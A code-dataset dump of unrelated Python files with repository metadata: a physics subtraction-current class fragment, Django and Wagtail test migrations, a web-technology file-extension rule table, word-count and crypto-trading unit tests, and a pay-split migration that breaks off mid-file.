result #========================================================================================= # NLO soft current #========================================================================================= class NoSoftCurrent(currents.QCDCurrent): """Trivial current returning zero for any NLO limit containing softs.""" is_zero = True @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD soft tree-level currents init_vars = currents.QCDLocalSoftCurrent.\ common_does_implement_this_current(current, 2, 0) if init_vars is not None: return init_vars init_vars = currents.QCDLocalSoftCollinearCurrent.\ common_does_implement_this_current(current, 2, 0) return init_vars def evaluate_subtraction_current( self, current, hel_config=None, **opts ): """Return 0 for this current.""" return utils.SubtractionCurrentResult.zero(current=current, hel_config=hel_config)

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null

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7

cb2dec0845e74fbef60099ea717533927237e6d9

9,597

py

Python

wagtail_localize/test/migrations/0001_initial.py

KalobTaulien/wagtail-localize

e513d18dea5f76f6941f1acf55f945150de767eb

[ "BSD-3-Clause" ]

123

2019-11-21T12:55:04.000Z

2022-03-23T08:08:47.000Z

wagtail_localize/test/migrations/0001_initial.py

KalobTaulien/wagtail-localize

e513d18dea5f76f6941f1acf55f945150de767eb

[ "BSD-3-Clause" ]

334

2019-11-20T10:40:08.000Z

2022-03-27T17:33:01.000Z

wagtail_localize/test/migrations/0001_initial.py

KalobTaulien/wagtail-localize

e513d18dea5f76f6941f1acf55f945150de767eb

[ "BSD-3-Clause" ]

41

2020-01-16T17:24:52.000Z

2022-03-28T13:09:59.000Z

# Generated by Django 3.0.6 on 2020-07-17 15:07 from django.db import migrations, models import django.db.models.deletion import modelcluster.fields import uuid import wagtail.core.blocks import wagtail.core.fields import wagtail_localize.test.models class Migration(migrations.Migration): initial = True dependencies = [ ('wagtailcore', '0057_page_locale_fields_notnull'), ] operations = [ migrations.CreateModel( name='TestHomePage', fields=[ ('page_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='wagtailcore.Page')), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='TestModel', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('translation_key', models.UUIDField(default=uuid.uuid4, editable=False)), ('title', models.CharField(max_length=255)), ('test_charfield', models.CharField(blank=True, max_length=255)), ('test_textfield', models.TextField(blank=True)), ('test_emailfield', models.EmailField(blank=True, max_length=254)), ('locale', models.ForeignKey(editable=False, on_delete=django.db.models.deletion.PROTECT, related_name='+', to='wagtailcore.Locale')), ], options={ 'abstract': False, 'unique_together': {('translation_key', 'locale')}, }, ), migrations.CreateModel( name='TestPage', fields=[ ('page_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='wagtailcore.Page')), ('test_charfield', models.CharField(blank=True, max_length=255)), ('test_textfield', models.TextField(blank=True)), ('test_emailfield', models.EmailField(blank=True, max_length=254)), ('test_slugfield', models.SlugField(blank=True)), ('test_urlfield', models.URLField(blank=True)), ('test_richtextfield', wagtail.core.fields.RichTextField(blank=True)), ('test_streamfield', wagtail.core.fields.StreamField([('test_charblock', wagtail.core.blocks.CharBlock(max_length=255)), ('test_textblock', wagtail.core.blocks.TextBlock()), ('test_emailblock', wagtail.core.blocks.EmailBlock()), ('test_urlblock', wagtail.core.blocks.URLBlock()), ('test_richtextblock', wagtail.core.blocks.RichTextBlock()), ('test_rawhtmlblock', wagtail.core.blocks.RawHTMLBlock()), ('test_blockquoteblock', wagtail.core.blocks.BlockQuoteBlock()), ('test_structblock', wagtail.core.blocks.StructBlock([('field_a', wagtail.core.blocks.TextBlock()), ('field_b', wagtail.core.blocks.TextBlock())])), ('test_listblock', wagtail.core.blocks.ListBlock(wagtail.core.blocks.TextBlock())), ('test_nestedstreamblock', wagtail.core.blocks.StreamBlock([('block_a', wagtail.core.blocks.TextBlock()), ('block_b', wagtail.core.blocks.TextBlock())])), ('test_customstructblock', wagtail.core.blocks.StructBlock([('field_a', wagtail.core.blocks.TextBlock()), ('field_b', wagtail.core.blocks.TextBlock())]))], blank=True)), ('test_customfield', wagtail_localize.test.models.TestCustomField(blank=True)), ('test_synchronized_charfield', models.CharField(blank=True, max_length=255)), ('test_synchronized_textfield', models.TextField(blank=True)), ('test_synchronized_emailfield', models.EmailField(blank=True, max_length=254)), ('test_synchronized_slugfield', models.SlugField(blank=True)), ('test_synchronized_urlfield', models.URLField(blank=True)), ('test_synchronized_richtextfield', wagtail.core.fields.RichTextField(blank=True)), ('test_synchronized_streamfield', wagtail.core.fields.StreamField([('test_charblock', wagtail.core.blocks.CharBlock(max_length=255)), ('test_textblock', wagtail.core.blocks.TextBlock()), ('test_emailblock', wagtail.core.blocks.EmailBlock()), ('test_urlblock', wagtail.core.blocks.URLBlock()), ('test_richtextblock', wagtail.core.blocks.RichTextBlock()), ('test_rawhtmlblock', wagtail.core.blocks.RawHTMLBlock()), ('test_blockquoteblock', wagtail.core.blocks.BlockQuoteBlock()), ('test_structblock', wagtail.core.blocks.StructBlock([('field_a', wagtail.core.blocks.TextBlock()), ('field_b', wagtail.core.blocks.TextBlock())])), ('test_listblock', wagtail.core.blocks.ListBlock(wagtail.core.blocks.TextBlock())), ('test_nestedstreamblock', wagtail.core.blocks.StreamBlock([('block_a', wagtail.core.blocks.TextBlock()), ('block_b', wagtail.core.blocks.TextBlock())])), ('test_customstructblock', wagtail.core.blocks.StructBlock([('field_a', wagtail.core.blocks.TextBlock()), ('field_b', wagtail.core.blocks.TextBlock())]))], blank=True)), ('test_synchronized_customfield', wagtail_localize.test.models.TestCustomField(blank=True)), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='InheritedTestModel', fields=[ ('testmodel_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='wagtail_localize_test.TestModel')), ], bases=('wagtail_localize_test.testmodel',), ), migrations.CreateModel( name='TestSynchronizedChildObject', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('field', models.TextField()), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='test_synchronized_childobjects', to='wagtail_localize_test.TestPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='TestSnippet', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('translation_key', models.UUIDField(default=uuid.uuid4, editable=False)), ('field', models.TextField()), ('locale', models.ForeignKey(editable=False, on_delete=django.db.models.deletion.PROTECT, related_name='+', to='wagtailcore.Locale')), ], options={ 'abstract': False, 'unique_together': {('translation_key', 'locale')}, }, ), migrations.AddField( model_name='testpage', name='test_snippet', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='wagtail_localize_test.TestSnippet'), ), migrations.AddField( model_name='testpage', name='test_synchronized_snippet', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtail_localize_test.TestSnippet'), ), migrations.CreateModel( name='TestNonParentalChildObject', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('translation_key', models.UUIDField(default=uuid.uuid4, editable=False)), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('field', models.TextField()), ('locale', models.ForeignKey(editable=False, on_delete=django.db.models.deletion.PROTECT, related_name='+', to='wagtailcore.Locale')), ('page', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='test_nonparentalchildobjects', to='wagtail_localize_test.TestPage')), ], options={ 'abstract': False, 'unique_together': {('translation_key', 'locale')}, }, ), migrations.CreateModel( name='TestChildObject', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('translation_key', models.UUIDField(default=uuid.uuid4, editable=False)), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('field', models.TextField()), ('locale', models.ForeignKey(editable=False, on_delete=django.db.models.deletion.PROTECT, related_name='+', to='wagtailcore.Locale')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='test_childobjects', to='wagtail_localize_test.TestPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, 'unique_together': {('translation_key', 'locale')}, }, ), ]

64.844595

1,051

0.634469

943

9,597

6.281018

0.126193

0.078001

0.106196

0.070235

0.863414

0.815465

0.796893

0.757724

0.718217

0

0.006637

0.215067

9,597

147

1,052

65.285714

0.779636

0.004689

0

0.628571

1

0

0.202304

0.072984

0

1

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false

0

0.05

0

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0

null

0

1

0

1

0

1

0

null

0

8

cb59bb63d7c6bcbc99189e814c1f5117d475e38d

2,882

py

Python

lookatweb/rules/ext.py

ivbeg/lookatweb

b98e3ebd29c00e2f718c3392bb31b7202aa82a99

[ "BSD-3-Clause" ]

2

2018-01-18T13:22:29.000Z

2018-02-03T13:10:20.000Z

lookatweb/rules/ext.py

ivbeg/lookatweb

b98e3ebd29c00e2f718c3392bb31b7202aa82a99

[ "BSD-3-Clause" ]

null

lookatweb/rules/ext.py

ivbeg/lookatweb

b98e3ebd29c00e2f718c3392bb31b7202aa82a99

[ "BSD-3-Clause" ]

null

from .consts import * # File extensions complex rules EXT_COMPLEX_RULES = [ {'type' : RULETYPE_EQUAL, 'text' : 'php', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'py', 'entities' : [ {'name' : 'web:tech:lang/python'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'phtml', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php3', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php4', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php5', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'do', 'entities' : [ {'name' : 'web:tech:/jsp'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'jsp', 'entities' : [ {'name' : 'web:tech/jsp'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'asp', 'entities' : [ {'name' : 'web:tech:lang/asp'}, {'name' : 'web:os/windows'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'aspx', 'entities' : [ {'name' : 'web:tech:lang/aspnet'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'cfm', 'entities' : [ {'name' : 'web:tech:lang/coldfusion'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'cfml', 'entities' : [ {'name' : 'web:tech:lang/coldfusion'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'cfmx', 'entities' : [ {'name' : 'web:tech:lang/coldfusion'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'cfc', 'entities' : [ {'name' : 'web:tech:lang/coldfusion'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'cgi', 'entities' : [ {'name' : 'web:tech/cgi'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'axd', 'entities' : [ {'name' : 'web:tech:lang/aspnet'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'nsf', 'entities' : [ {'name' : 'web:tech/lotusdomino'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, {'type' : RULETYPE_EQUAL, 'text' : 'php', 'entities' : [ {'name' : 'web:tech:lang/php'}, ] }, ]

25.732143

50

0.409785

241

2,882

4.804979

0.165975

0.132988

0.30829

0.380829

0.783247

0.743523

0.669257

0

0.001664

0.374393

2,882

111

51

25.963964

0.640599

0.010062

0

0.376147

0

0.312171

0.033672

0

1

0

false

0

0.009174

0

0.009174

0

null

0

1

0

1

0

null

0

7

cb9eb7fe70e64c8408cf69bf7cd437f1e412ea17

2,197

py

Python

exercise_3/test_solution.py

jeff-a-holland/python_class_2021_B2

e1dd93d50f332734954091c26c9a5ea7eb5251e7

[ "MIT" ]

null

exercise_3/test_solution.py

jeff-a-holland/python_class_2021_B2

e1dd93d50f332734954091c26c9a5ea7eb5251e7

[ "MIT" ]

null

exercise_3/test_solution.py

jeff-a-holland/python_class_2021_B2

e1dd93d50f332734954091c26c9a5ea7eb5251e7

[ "MIT" ]

null

#!/Users/jeff/.pyenv/shims/python from solution import count_words_sequential, count_words_threading def test_non_threaded_empty_dir(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() assert 0 == count_words_sequential(str(test_directory / '*.txt')) def test_non_threaded_dirname(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() test_subdir = test_directory / 'subdir' test_subdir.mkdir() assert 0 == count_words_sequential(str(test_directory / '*d*')) def test_non_threaded_one_empty_file(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() with open(test_directory / f'mytestfile.txt', 'w') as f: f.write('') assert 0 == count_words_sequential(str(test_directory / '*.txt')) def test_non_threaded_five(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() s = 'abc def ghi jkl mno' for filename in ['abc', 'def', 'ghi']: with open(test_directory / f'{filename}.txt', 'w') as f: f.write(s) assert 15 == count_words_sequential(str(test_directory / '*.txt')) def test_threaded_empty_dir(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() assert 0 == count_words_threading(str(test_directory / '*.txt')) def test_threaded_dirname(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() test_subdir = test_directory / 'subdir' test_subdir.mkdir() assert 0 == count_words_threading(str(test_directory / '*d*')) def test_threaded_one_empty_file(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() with open(test_directory / f'mytestfile.txt', 'w') as f: f.write('') assert 0 == count_words_threading(str(test_directory / '*.txt')) def test_threaded_five(tmp_path): test_directory = tmp_path / 'testfiles' test_directory.mkdir() s = 'abc def ghi jkl mno' for filename in ['abc', 'def', 'ghi']: with open(test_directory / f'{filename}.txt', 'w') as f: f.write(s) assert 15 == count_words_threading(str(test_directory / '*.txt'))

27.123457

70

0.686391

298

2,197

4.738255

0.16443

0.276204

0.062323

0.113314

0.93272

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0.901558

0.839943

0

0.005596

0.186618

2,197

80

71

27.4625

0.784555

0.014565

0

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0

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0

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1

0.163265

false

0

0.020408

0

0.183673

0

null

1

0

1

0

1

0

null

0

8

cbc0b0595e9c2d3523d50e6c51b7eace108b4d12

14,240

py

Python

tests/unit_tests/trading_tests/test_trader.py

CryptoRichy/OctoBot

1ca5bd2ba4b8fc09859518fcb2a62f74a1435019

[ "Apache-2.0" ]

1

2018-11-26T16:43:36.000Z

tests/unit_tests/trading_tests/test_trader.py

CryptoRichy/OctoBot

1ca5bd2ba4b8fc09859518fcb2a62f74a1435019

[ "Apache-2.0" ]

null

tests/unit_tests/trading_tests/test_trader.py

CryptoRichy/OctoBot

1ca5bd2ba4b8fc09859518fcb2a62f74a1435019

[ "Apache-2.0" ]

null

import ccxt import copy from trading.exchanges.exchange_manager import ExchangeManager from config.cst import * from tests.test_utils.config import load_test_config from trading.trader.order import * from trading.trader.order_notifier import OrderNotifier from trading.trader.trader import Trader from trading.trader.trader_simulator import TraderSimulator from trading.trader.portfolio import Portfolio class TestTrader: DEFAULT_SYMBOL = "BTC/USDT" @staticmethod def init_default(): config = load_test_config() exchange_manager = ExchangeManager(config, ccxt.binance, is_simulated=True) exchange_inst = exchange_manager.get_exchange() trader_inst = TraderSimulator(config, exchange_inst, 2) return config, exchange_inst, trader_inst @staticmethod def stop(trader): trader.stop_order_manager() def test_enabled(self): config, _, trader_inst = self.init_default() self.stop(trader_inst) config[CONFIG_TRADER][CONFIG_ENABLED_OPTION] = True assert Trader.enabled(config) config[CONFIG_TRADER][CONFIG_ENABLED_OPTION] = False assert not Trader.enabled(config) def test_get_risk(self): config, exchange_inst, trader_inst = self.init_default() self.stop(trader_inst) config[CONFIG_TRADER][CONFIG_TRADER_RISK] = 0 trader_1 = Trader(config, exchange_inst) assert trader_1.get_risk() == CONFIG_TRADER_RISK_MIN self.stop(trader_1) config[CONFIG_TRADER][CONFIG_TRADER_RISK] = 2 trader_2 = Trader(config, exchange_inst) assert trader_2.get_risk() == CONFIG_TRADER_RISK_MAX self.stop(trader_2) config[CONFIG_TRADER][CONFIG_TRADER_RISK] = 0.5 trader_2 = Trader(config, exchange_inst) assert trader_2.get_risk() == 0.5 self.stop(trader_2) def test_cancel_order(self): _, _, trader_inst = self.init_default() # Test buy order market_buy = BuyMarketOrder(trader_inst) market_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_MARKET], self.DEFAULT_SYMBOL, 70, 10, 70) assert market_buy not in trader_inst.get_open_orders() trader_inst.get_order_manager().add_order_to_list(market_buy) assert market_buy in trader_inst.get_open_orders() trader_inst.cancel_order(market_buy) assert market_buy not in trader_inst.get_open_orders() self.stop(trader_inst) def test_cancel_open_orders_default_symbol(self): config, _, trader_inst = self.init_default() # Test buy order market_buy = BuyMarketOrder(trader_inst) market_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_MARKET], self.DEFAULT_SYMBOL, 70, 10, 70) # Test sell order market_sell = SellMarketOrder(trader_inst) market_sell.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.SELL_MARKET], self.DEFAULT_SYMBOL, 70, 10, 70) # Test buy order limit_buy = BuyLimitOrder(trader_inst) limit_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_LIMIT], self.DEFAULT_SYMBOL, 70, 10, 70) # create order notifier to prevent None call market_buy.order_notifier = OrderNotifier(config, market_buy) market_sell.order_notifier = OrderNotifier(config, market_sell) limit_buy.order_notifier = OrderNotifier(config, limit_buy) trader_inst.get_order_manager().add_order_to_list(market_buy) trader_inst.get_order_manager().add_order_to_list(market_sell) trader_inst.get_order_manager().add_order_to_list(limit_buy) assert market_buy in trader_inst.get_open_orders() assert market_sell in trader_inst.get_open_orders() assert limit_buy in trader_inst.get_open_orders() trader_inst.cancel_open_orders(self.DEFAULT_SYMBOL) assert market_buy not in trader_inst.get_open_orders() assert market_sell not in trader_inst.get_open_orders() assert limit_buy not in trader_inst.get_open_orders() self.stop(trader_inst) def test_cancel_open_orders_multi_symbol(self): config, _, trader_inst = self.init_default() # Test buy order market_buy = BuyMarketOrder(trader_inst) market_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_MARKET], "BTC/EUR", 70, 10, 70) # Test buy order limit_sell = SellLimitOrder(trader_inst) limit_sell.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.SELL_LIMIT], "NANO/USDT", 70, 10, 70) # Test sell order market_sell = SellMarketOrder(trader_inst) market_sell.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.SELL_MARKET], self.DEFAULT_SYMBOL, 70, 10, 70) # Test buy order limit_buy = BuyLimitOrder(trader_inst) limit_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_LIMIT], self.DEFAULT_SYMBOL, 70, 10, 70) # create order notifier to prevent None call market_buy.order_notifier = OrderNotifier(config, market_buy) market_sell.order_notifier = OrderNotifier(config, market_sell) limit_buy.order_notifier = OrderNotifier(config, limit_buy) limit_sell.order_notifier = OrderNotifier(config, limit_sell) trader_inst.get_order_manager().add_order_to_list(market_buy) trader_inst.get_order_manager().add_order_to_list(market_sell) trader_inst.get_order_manager().add_order_to_list(limit_buy) trader_inst.get_order_manager().add_order_to_list(limit_sell) assert market_buy in trader_inst.get_open_orders() assert market_sell in trader_inst.get_open_orders() assert limit_buy in trader_inst.get_open_orders() assert limit_sell in trader_inst.get_open_orders() trader_inst.cancel_open_orders(self.DEFAULT_SYMBOL) assert market_buy in trader_inst.get_open_orders() assert market_sell not in trader_inst.get_open_orders() assert limit_buy not in trader_inst.get_open_orders() assert limit_sell in trader_inst.get_open_orders() self.stop(trader_inst) def test_notify_order_close(self): config, _, trader_inst = self.init_default() # Test buy order market_buy = BuyMarketOrder(trader_inst) market_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_MARKET], "BTC/EUR", 70, 10, 70) # Test buy order limit_sell = SellLimitOrder(trader_inst) limit_sell.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.SELL_LIMIT], "NANO/USDT", 70, 10, 70) # Test stop loss order stop_loss = StopLossOrder(trader_inst) stop_loss.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.STOP_LOSS], "BTC/USD", 60, 10, 60) # create order notifier to prevent None call market_buy.order_notifier = OrderNotifier(config, market_buy) limit_sell.order_notifier = OrderNotifier(config, limit_sell) stop_loss.order_notifier = OrderNotifier(config, stop_loss) trader_inst.get_order_manager().add_order_to_list(market_buy) trader_inst.get_order_manager().add_order_to_list(stop_loss) trader_inst.get_order_manager().add_order_to_list(limit_sell) trader_inst.notify_order_close(limit_sell, True) trader_inst.notify_order_close(market_buy, True) assert market_buy not in trader_inst.get_open_orders() assert limit_sell not in trader_inst.get_open_orders() assert stop_loss in trader_inst.get_open_orders() self.stop(trader_inst) def test_notify_sell_limit_order_cancel(self): config, _, trader_inst = self.init_default() initial_portfolio = copy.deepcopy(trader_inst.portfolio.portfolio) # Test buy order limit_buy = trader_inst.create_order_instance(order_type=TraderOrderType.BUY_LIMIT, symbol="BQX/BTC", current_price=4, quantity=2, price=4) trader_inst.create_order(limit_buy, trader_inst.portfolio) trader_inst.notify_order_close(limit_buy, True) assert limit_buy not in trader_inst.get_open_orders() assert initial_portfolio == trader_inst.portfolio.portfolio self.stop(trader_inst) def test_notify_sell_limit_order_cancel_one_in_two(self): config, _, trader_inst = self.init_default() initial_portfolio = copy.deepcopy(trader_inst.portfolio.portfolio) # Test buy order limit_buy = trader_inst.create_order_instance(order_type=TraderOrderType.BUY_LIMIT, symbol="BQX/BTC", current_price=4, quantity=2, price=4) trader_inst.create_order(limit_buy, trader_inst.portfolio) # Test second buy order second_limit_buy = trader_inst.create_order_instance(order_type=TraderOrderType.BUY_LIMIT, symbol="VEN/BTC", current_price=1, quantity=1.5, price=1) trader_inst.create_order(second_limit_buy, trader_inst.portfolio) # Cancel only 1st one trader_inst.notify_order_close(limit_buy, True) assert limit_buy not in trader_inst.get_open_orders() assert second_limit_buy in trader_inst.get_open_orders() assert initial_portfolio != trader_inst.portfolio.portfolio assert trader_inst.portfolio.portfolio["BTC"][Portfolio.AVAILABLE] == 8.5 assert trader_inst.portfolio.portfolio["BTC"][Portfolio.TOTAL] == 10 self.stop(trader_inst) def test_notify_sell_limit_order_fill(self): config, _, trader_inst = self.init_default() initial_portfolio = copy.deepcopy(trader_inst.portfolio.portfolio) # Test buy order limit_buy = trader_inst.create_order_instance(order_type=TraderOrderType.BUY_LIMIT, symbol="BQX/BTC", current_price=0.1, quantity=10, price=0.1) trader_inst.create_order(limit_buy, trader_inst.portfolio) limit_buy.filled_price = limit_buy.origin_price limit_buy.filled_quantity = limit_buy.origin_quantity trader_inst.notify_order_close(limit_buy) assert limit_buy not in trader_inst.get_open_orders() assert initial_portfolio != trader_inst.portfolio.portfolio assert trader_inst.portfolio.portfolio["BTC"][Portfolio.AVAILABLE] == 9 assert trader_inst.portfolio.portfolio["BTC"][Portfolio.TOTAL] == 9 assert trader_inst.portfolio.portfolio["BQX"][Portfolio.AVAILABLE] == 10 assert trader_inst.portfolio.portfolio["BQX"][Portfolio.TOTAL] == 10 self.stop(trader_inst) def test_notify_order_close_with_linked_orders(self): config, _, trader_inst = self.init_default() # Test buy order market_buy = BuyMarketOrder(trader_inst) market_buy.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.BUY_MARKET], "BTC/EUR", 70, 10, 70) # Test buy order limit_sell = SellLimitOrder(trader_inst) limit_sell.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.SELL_LIMIT], "NANO/USDT", 70, 10, 70) # Test stop loss order stop_loss = StopLossOrder(trader_inst) stop_loss.new(OrderConstants.TraderOrderTypeClasses[TraderOrderType.STOP_LOSS], "BTC/USD", 60, 10, 60) stop_loss.add_linked_order(limit_sell) limit_sell.add_linked_order(stop_loss) # create order notifier to prevent None call market_buy.order_notifier = OrderNotifier(config, market_buy) stop_loss.order_notifier = OrderNotifier(config, stop_loss) limit_sell.order_notifier = OrderNotifier(config, limit_sell) trader_inst.get_order_manager().add_order_to_list(market_buy) trader_inst.get_order_manager().add_order_to_list(stop_loss) trader_inst.get_order_manager().add_order_to_list(limit_sell) trader_inst.notify_order_close(limit_sell) assert market_buy in trader_inst.get_open_orders() assert stop_loss not in trader_inst.get_open_orders() assert limit_sell not in trader_inst.get_open_orders() self.stop(trader_inst)

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0

7

cbc78951b6a83518ca6ebb06c58b547a25edd18f

42

py

Python

app/api/__init__.py

smartcities-livinglab-udg/APP-SmartCheckIn

b0f3d6db53f4f0efa33b5be201ca56e8b721af78

[ "MIT" ]

null

app/api/__init__.py

smartcities-livinglab-udg/APP-SmartCheckIn

b0f3d6db53f4f0efa33b5be201ca56e8b721af78

[ "MIT" ]

null

app/api/__init__.py

smartcities-livinglab-udg/APP-SmartCheckIn

b0f3d6db53f4f0efa33b5be201ca56e8b721af78

[ "MIT" ]

null

from app.api.v1 import mod_api as mod_api

21

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1db3401e9635cf27cbdde5a074c99a848bb74212

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py

Python

upload_split_file/migrations/0001_initial.py

uktrade/fadmin2

0f774400fb816c9ca30e30b25ae542135966e185

[ "MIT" ]

3

2020-01-05T16:46:42.000Z

2021-08-02T08:08:39.000Z

upload_split_file/migrations/0001_initial.py

uktrade/fadmin2

0f774400fb816c9ca30e30b25ae542135966e185

[ "MIT" ]

30

2019-11-28T15:16:35.000Z

2021-08-16T14:49:58.000Z

upload_split_file/migrations/0001_initial.py

uktrade/fadmin2

0f774400fb816c9ca30e30b25ae542135966e185

[ "MIT" ]

null

# Generated by Django 3.2.7 on 2021-12-09 11:49 from django.conf import settings import django.core.validators from django.db import migrations, models import django.db.models.deletion import simple_history.models class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ("previous_years", "0004_auto_20210707_1008"), ("forecast", "0008_amend_views_20210802_1439"), ("core", "0011_alter_historicaluser_first_name"), ] operations = [ migrations.CreateModel( name="SimpleHistoryUploadPaySplitCoefficient", fields=[ ( "id", models.BigIntegerField( auto_created=True, blank=True, db_index=True, verbose_name="ID" ), ), ("created", models.DateTimeField(blank=True, editable=False)), ("updated", models.DateTimeField(blank=True, editable=False)), ( "directorate_code", models.CharField(max_length=6, verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ("row_number", models.IntegerField(default=0)), ("history_id", models.AutoField(primary_key=True, serialize=False)), ("history_date", models.DateTimeField()), ("history_change_reason", models.CharField(max_length=100, null=True)), ( "history_type", models.CharField( choices=[("+", "Created"), ("~", "Changed"), ("-", "Deleted")], max_length=1, ), ), ( "financial_code_to", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="forecast.financialcode", ), ), ( "financial_period", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="forecast.financialperiod", ), ), ( "history_user", models.ForeignKey( null=True, on_delete=django.db.models.deletion.SET_NULL, related_name="+", to=settings.AUTH_USER_MODEL, ), ), ], options={ "verbose_name": "historical upload pay split coefficient", "ordering": ("-history_date", "-history_id"), "get_latest_by": "history_date", }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name="SimpleHistoryPreviousYearPaySplitCoefficient", fields=[ ( "id", models.BigIntegerField( auto_created=True, blank=True, db_index=True, verbose_name="ID" ), ), ("created", models.DateTimeField(blank=True, editable=False)), ("updated", models.DateTimeField(blank=True, editable=False)), ( "directorate_code", models.CharField(max_length=6, verbose_name="Directorate Code"), ), ( "split_coefficient", models.IntegerField( default=0, validators=[ django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(9999), ], ), ), ("history_id", models.AutoField(primary_key=True, serialize=False)), ("history_date", models.DateTimeField()), ("history_change_reason", models.CharField(max_length=100, null=True)), ( "history_type", models.CharField( choices=[("+", "Created"), ("~", "Changed"), ("-", "Deleted")], max_length=1, ), ), ( "financial_code_to", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="previous_years.archivedfinancialcode", ), ), ( "financial_period", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="forecast.financialperiod", ), ), ( "financial_year", models.ForeignKey( blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name="+", to="core.financialyear", ), ), ( "history_user", models.ForeignKey( null=True, on_delete=django.db.models.deletion.SET_NULL, related_name="+", to=settings.AUTH_USER_MODEL, ), ), ], options={ "verbose_name": "historical previous year pay split coefficient", "ordering": ("-history_date", "-history_id"), "get_latest_by": "history_date", }, bases=(simple_history.models.HistoricalChanges, models.Model), ), migrations.CreateModel( name="SimpleHistoryPaySplitCoefficient", fields=[ ( "id", models.BigIntegerField( auto_created=True, blank=True, db_index=True, verbose_name="ID" ), ), ("created", models.DateTimeField(blank=True, editable=False)), ("updated", models.DateTimeField(blank=True, editable=False)), ( "directorate_code", models.CharField(max_length=6, 